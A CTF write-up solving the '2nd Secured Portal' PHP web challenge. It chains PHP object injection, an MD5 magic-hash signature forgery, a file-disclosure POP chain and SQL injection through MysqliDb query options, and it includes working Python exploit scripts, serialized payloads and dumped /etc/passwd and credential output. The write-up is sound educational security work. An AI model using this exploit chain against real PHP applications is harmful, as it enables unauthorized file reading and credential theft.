The Asis CTF was taking place this weekend and, although I only looked at two challenges, I really found them interesting and well crafted, especially the second level. The challenges I am talking about are the web Secured Portal and 2nd Secured Portal.
In this write-up, I am covering the second level: 2nd Secured Portal.
Source code
From the first Secured Portal level, we downloaded the source code of the challenge:
After importing the files in a new PHPStorm project, we see that two of them have only contain DAMAGED
:
authentication.class.php
and configuration.php
. The first goal would be to read them on the server somehow.
Now that we have the secret key __sessionKey
used in the md5 signature, we could move the signature brute-force
client-side to avoid having to send tons of requests to the server:
import re import sys import base64 import string import hashlib URL = 'http://46.101.96.182/panel/index' KEY = 'THEKEYISHEREWOW!' SIG = '00000000000000000000000000000000' p = re.compile('0+[eE]\d{4}.*') template = 'a:2:{s:6:"logged";b:1;s:3:"foo";s:%d:"%s";}' for c in string.letters + string.digits: for i in range(0, 500): OBJ = template % (i, c * i) real_sign = hashlib.md5(OBJ + KEY).hexdigest() if p.match(real_sign[:6]): print('found collision') print(OBJ) print(base64.b64encode(OBJ)) sys.exit(0)
At this stage, we fully controlled the data being unserialized and we can therefore inject any
objects implementing
magic methods (such as __construct
, __destruct
, __toString
) thanks to the call to unserialize
we spotted in the
first level. Going through the different PHP files, we could leverage logFile.class.php
to read any file on the
server.
Read remote files
The log
class implements the __toString
method that will call the function whose name is specified in the protected
attribute $_method
:
<?php abstract class log { /** * holding function name * @var string */ protected $_method = 'toString'; /** * @return string */ function __toString(){ return $this->{$this->_method}(); } } ?>
If we forge a log
object with an attribute different than toString
, we could call any methods. Because log
is
abstract, we cannot use it as-is but the logFile
class inherits from it!
<?php class logFile extends log { /** * default filename variable * @var string */ private $__logName = 'default.log'; /** * reading logs by the filename * * @param string $logName * @return string */ function readLog($logName=null){ if($logName!==null) $this->__logName = $logName; if($this->__logName) return file_get_contents('logs/' . $this->__logName); } /** * submitting new logs on the file * * @param string $logName * @param string $action * @return boolean */ function doLog($logName=null, $action='login'){ $this->__logName = ($logName===null)? time().'.log':$logName; $this->__action = ($action===null)?'Test':$action; if($this->__logName) return file_put_contents('logs/' . $this->__logName, $this->__action); } /** * toString function * * @return string */ function toString(){ return serialize($this); } } ?>
Remember, we cannot call arbitrary functions but only methods of the class itself due to the $this->
in
log.__toString
.
However, if we set _method
to readLog
and we craft a logFile
object with the private attribute __logName
set to
the file we want to read on the server, we should be able to read any file. We would have been able to write arbitrary
files on the server as well, if only we could have controlled __action
. Sadly, it is not possible since it can only
have the value Test
or $action
and because of how our object is called, we cannot control $action
.
So we should serialize the following object to read arbitrary files:
<?php class logFile extends log { protected $_method = 'readLog'; private $__logName = '../../../../../../../../etc/passwd'; /* . . . */ } $l = new logFile(); $payload = array("logged" => true, $l, "foo" => "A"); echo base64_encode(serialize($payload));
Trigger the exploit
One thing is missing though. The method readLog
will be called only when __toString
is called. With the payload
above, logFile.__toString
is never called so we must find a way to trigger it. If we look at the panel.class.php
we
can see the following code:
<?php class panel extends main { /* . . . */ /** * send http request to contact server, after the validity of message format is checked, we will look at messages in paper print */ function contact(){ if(!$this->__auth){ echo 'login required'; return false; } /** * setting fullName to anonymous or the real name */ $this->fullName = 'anonymous'; if(@$this->data['title'] == 'mr.' or @$this->data['title'] == 'ms.') { $this->fullName = $this->data['title'] . $this->data['username']; } /** * setting fullName to anonymous or the real name */ if(array_key_exists('contactUs', $_GET)){ if(array_key_exists('message', $_GET)) $message = $_POST['message']; /* * check message validity */ $userCurl = (new userCurl(__SERVER_2, $message))->sendPOST(); /* * printing response to the user */ if($userCurl==='valid') echo json_encode(array('name'=>json_encode($this->fullName), 'status'=>true, 'message'=>'We have received you message, our administrator will be reading your issue as soon as possible')); else echo json_encode(array('name'=>json_encode($this->fullName), 'status'=>false, 'message'=>'It seems the message sent is not in the valid format.', 'error'=>$userCurl)); } } /* . . . */
When requesting /panel/contact
, we have full control of $this->data
(thanks to the call to unserialize
). We
therefore control data['username']
. If you look closely, the username will be concatenated to the title variable in
order to create fullName
. So if username is our injected logFile
object, logFile.__toString
will be called when
PHP performs the concatenation, and logFile.readFile
will therefore be called as well.
In addition, we can read the result of the concatenation thanks to the call to json_encode
that will contain
fullname
, which is title
concatenated with the result of username.__toString
.
All we need to do is request /panel/contact
with the right parameters. I wrote a small python script that would take
the filename as parameter and forge the corresponding PHP object to simplify the search:
import re import sys import base64 import string import hashlib import requests URL = 'http://46.101.96.182/panel/contact' KEY = 'THEKEYISHEREWOW!' SIG = '0e462097431906509019562988736854' p = re.compile('0+[eE]\d{4}.*') def do_read(f): # Don't forget the NULL-bytes... template = 'a:4:{s:6:"logged";b:1;s:8:"username";O:7:"logFile":2:{s:18:"\x00logFile\x00__logName";s:' + str(len(f)) + ':"' + f + '";s:10:"\x00*\x00_method";s:7:"readLog";}s:5:"title";s:3:"mr.";s:3:"foo";s:%d:"%s";}' for c in string.letters + string.digits: for i in range(0, 500): OBJ = template % (i, c * i) real_sign = hashlib.md5(OBJ + KEY).hexdigest() if p.match(real_sign[:6]): r = requests.post(URL, params={'auth': base64.b64encode(OBJ) + SIG}, data={'contactUs':'true','message':'test'}) res = r.text if len(res) != 719: # 719 is the size of an empty answer # Replace to beautify the output print res.replace('\\\\', '\\').replace('\\n', '\n').replace('\\\\', '') sys.exit(0) if __name__ == '__main__': do_read(sys.argv[1])
It can be used to read /etc/passwd
for instance:
$ ./read.py ../../../../../../../etc/passwd <!DOCTYPE html> <html lang="en"> <head> <title>Ultra Secured Portal</title> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"> <link rel="stylesheet" href="/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous"> <link rel="stylesheet" href="/css/theme.css"> </head> <body> <center><h1><b>Ultra Secured Portal</b></h1></center> <div class="container"> {"name":"\"mr.root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin [. . .] pollinate:x:111:1::/var/cache/pollinate:/bin/false mysql:x:112:116:MySQL Server,,,:/nonexistent:/bin/false \"","status":false,"message":"It seems the message sent is not in the valid format.","error":"error detected in Markup declaration"}</div> <div class="modal"></div> <script src="/js/jquery-3.2.0.js"></script> <script src="/js/bootstrap.min.js"></script> <script src="/js/functions.js"></script> </body> </html>
Now we can download the missing configuration.php
and authentication.class.php
PHP files.
I also tried to read as many files as possible (e.g. apache.conf
, my.cnf
, etc.), hoping to find a clue where the
flag would be. Reading them didn't help much, except to know some basic information such as the fact that Apache is
running as www-data
. I attempted to read the MySQL database on-disk using the remote file disclosure but since we are
running as www-data
, it would have been surprising if it was successful.
I also attempted to execute some code on the server by abusing
/proc/self/environ
and /proc/self/fd/<id>
, until I realized that although I could potentially read the result (I
couldn't by the way), it would not interpret the injected PHP code since we have file_get_contents
and not include
.
One thing started to become more and more obvious: we had to read the database somehow. From the configuration file, we have the parameters we need to instantiate the DB:
<?php define('__SERVER_2', 'http://messageService.private/messageService.php'); define('__DB_HOST', 'localhost'); define('__DB_USERNAME', 'user'); define('__DB_PASSWORD', 'password'); define('__DB_DATABASE', 'ultraSecured'); define('__PORTAL__', TRUE); define('__MAINTENANCE__', TRUE);
And with authentication.class.php
, we had the name of the table that would be interesting to dump:
<?php class authentication extends main { /* . . . */ function login($loginString){ /* . . . */ /* * authenticating user by loginString */ $result = $this->__db->where("username", @$credentials[0])->where("password", md5($credentials[1]))->getOne('credentials'); /* . . . */
However, I couldn't find a way to control the SQL query... Looking at logDB.class.php
, we have a similar case than
with logFile
. It inherits from log
and has a readLog
method that we could call:
<?php class logDB extends log { /* . . . */ function readLog($id=null){ if($id!==null) $this->__ID = $id; if($this->__ID) return json_encode($this->__db->where("id", $this->__ID)->getOne('logs')); } /* . . . */
But as we can see, almost everything is hardcoded. We cannot control the table name since it is hardcoded to logs
. Or
can we? To be honest, I was stuck at that point for a couple of hours. I really couldn't see how one could dump the
credentials
table using the logDB
class.
Down the rabbit hole
Let's dive in and check MysqliDB
class because I don't see any other way. I was curious to know if the author of the
challenge modified that class in some way so I downloaded the version from the git repository
(PHP-MySQLi-Database-Class) and diffed it with the Secured
Portal's one:
$ diff MysqliDb.class.php.master MysqliDb.class.php # . . . 615a617,618 > //var_dump($this->_query); > # . . .
Not many differences. Most of them are indentation-related but one seemed interesting. The author added a call to
var_dump
in the method MysqliDB.get
and commented it. We surely are on the right track so let's follow the
execution flow from the beginning:
- unserialize(payload)
- payload.__toString()
- logDB.readLog()
- MysqliDB.where()
- ...
- MysqliDB.getOne()
- MysqliDB.get()
- MysqliDB._buildQuery()
- mysqli()->execute()
- MysqliDB.get()
- MysqliDB.where()
- logDB.readLog()
There is something very interesting in the get
function:
<?php /** * A convenient SELECT * function. * * @param string $tableName The name of the database table to work with. * @param int|array $numRows Array to define SQL limit in format Array ($count, $offset) * or only $count * @param string $columns Desired columns * * @return array Contains the returned rows from the select query. */ public function get($tableName, $numRows = null, $columns = '*') { if (empty($columns)) { $columns = '*'; } $column = is_array($columns) ? implode(', ', $columns) : $columns; if (strpos($tableName, '.') === false) { $this->_tableName = self::$prefix . $tableName; } else { $this->_tableName = $tableName; } $this->_query = 'SELECT ' . implode(' ', $this->_queryOptions) . ' ' . $column . " FROM " . $this->_tableName; $stmt = $this->_buildQuery($numRows); //var_dump($this->_query); if ($this->isSubQuery) { return $this; } $stmt->execute(); $this->_stmtError = $stmt->error; $this->_stmtErrno = $stmt->errno; $res = $this->_dynamicBindResults($stmt); $this->reset(); return $res; }
Right before the call to _buildQuery
, MysqliDB
checks if there are any query options specified. What's really
interesting is that _queryOptions
is an attribute of MysqliDB
:
<?php class MysqliDb { /* . . . */ /** * The SQL query options required after SELECT, INSERT, UPDATE or DELETE * @var string */ protected $_queryOptions = array(); /* . . . */
Because of the PHP object injection, we can control the attributes of the objects we inject. Therefore, we can control
the _queryOptions
attribute and execute arbitrary queries! All we need to do is make sure that everything after our
_queryOptions
is commented out. So all in all, we can execute arbitrary SQL queries by injecting the following PHP
object:
<?php class MysqliDB { /* . . . */ protected $_queryOptions = array('*', 'from', 'credentials;#'); /* . . . */ } class logDB extends log { protected $_method = 'readLog'; /* . . . */ } $db = new MysqliDB('localhost', 'user', 'password', 'ultraSecured'); $l = new logDB($db); $payload = array("logged" => true, "username" => $l, "title" => "mr.", "foo" => "A"); echo serialize($payload);
Which yields the following serialized object:
<?php a:4:{ s:6:"logged";b:1; // `logged` == True s:8:"username";O:5:"logDB":3:{ s:11:"\x00logDB\x00__db";O:8:"MysqliDb":38:{ . . . s:16:"\x00*\x00_queryOptions";a:3:{ i:0;s:1:"*";i:1;s:4:"from";i:2;s:13:"credentials;#"; // SQL injection to have 'select * from credentials;#' } // The DB parameters s:7:"\x00*\x00host";s:9:"localhost"; s:12:"\x00*\x00_username";s:4:"user"; s:12:"\x00*\x00_password";s:8:"password"; s:5:"\x00*\x00db";s:12:"ultraSecured"; . . . } s:10:"\x00*\x00_method";s:7:"readLog"; // _method == 'readLog' } s:5:"title";s:3:"mr."; // title to trigger the concatenation s:3:"foo";s:1:"A"; // padding }
We can then update our python script and dump the credentials
database:
$ ./dump.py <!DOCTYPE html> <html lang="en"> <head> <title>Ultra Secured Portal</title> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"> <link rel="stylesheet" href="/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous"> <link rel="stylesheet" href="/css/theme.css"> </head> <body> <center><h1><b>Ultra Secured Portal</b></h1></center> <div class="container"> {"name":"\"mr.{"id":1,"title":"mr.","username":"ultraS3cur3Us3r","password":"8dbdda48fb8748d6746f1965824e966a","secret":"fl4giSher3.class.php"}\"","status":false,"message":"It seems the message sent is not in the valid format.","error":"error detected in Markup declaration"}</div> <div class="modal"></div> <script src="/js/jquery-3.2.0.js"></script> <script src="/js/bootstrap.min.js"></script> <script src="/js/functions.js"></script> </body> </html>
There is a secret file fl4giSher3.class.php
listed in the secret
column. We can use our previous remote file
disclosure exploit to dump it:
$ ./read.py ../classes/fl4giSher3.class.php <!DOCTYPE html> <html lang="en"> <head> <title>Ultra Secured Portal</title> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"> <link rel="stylesheet" href="/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous"> <link rel="stylesheet" href="/css/theme.css"> </head> <body> <center><h1><b>Ultra Secured Portal</b></h1></center> <div class="container"> {"name":"\"mr.<?php /** * @category flag * @author ????? * @flag ASIS{Congratz_You_S33m_GURU_in_0bj3ct_Inj3ction_!!} */ ?> \"","status":false,"message":"It seems the message sent is not in the valid format.","error":"error detected in Markup declaration"}</div> <div class="modal"></div> <script src="/js/jquery-3.2.0.js"></script> <script src="/js/bootstrap.min.js"></script> <script src="/js/functions.js"></script> </body> </html>
Second level validated! \o/
Closing word
I mentioned in the introduction that I found the two-steps challenge very interesting and well crafted and I wanted to develop why, just a little bit.
First, what annoys everybody in CTFs are guessing challenges, where you have a step somewhere where you get stuck
simply because you didn't think of reading the file index.php.old.bak
for instance. Sure, for Secured Portal I spent
a couple of hours trying to read random files on the server but it's only because I was too stupid and didn't want to
accept that fact that reading arbitrary file was not good enough.
From the beginning, you had all the clues you needed to find the solution:
- The
.idea
directory could easily be deduced from the description of the challenge and the mention ofPHPStorm
in the comments in the files. Simply downloadingPHPStorm
and creating a dummy project was enough to find the/.idea/workspace.xml
file. - The hidden clues such as having some files replace with
DAMAGED
would help you get the database information you needed in order to dump the tables. You didn't have to guess the table, the credentials or anything of the connection parameters, since you understood that you needed to recover those files. - Finally, the insightful commented
var_dumps
line to help focus on where to look, which was a smart clue. Too bad they spoiled it a bit, by adding a HINT to the challenge description though... it was not necessary IMO
Second, it was an interesting chain of exploits. In some CTF web challenges, you would need to exploit a single SQL
injection and you would have two scenarios. Either it's stupidly stupid (like ' or 1=1;--
) or it's pure guessing
(with obscure filters, restrictions, etc.). In Secured Portal, it was a chain of exploits where you had all the
elements you needed to build and chain each step. Also you couldn't simply copy-paste an exploit from the web after
googling php serialize exploit
. You really had to fully understand your exploit and the POP chain you were building
in order be able to read files, but also dump the database.
Both combined, you had something challenging that did not rely on guessing. This, is how CTF web challenges should be crafted. Kudos to the author(s)!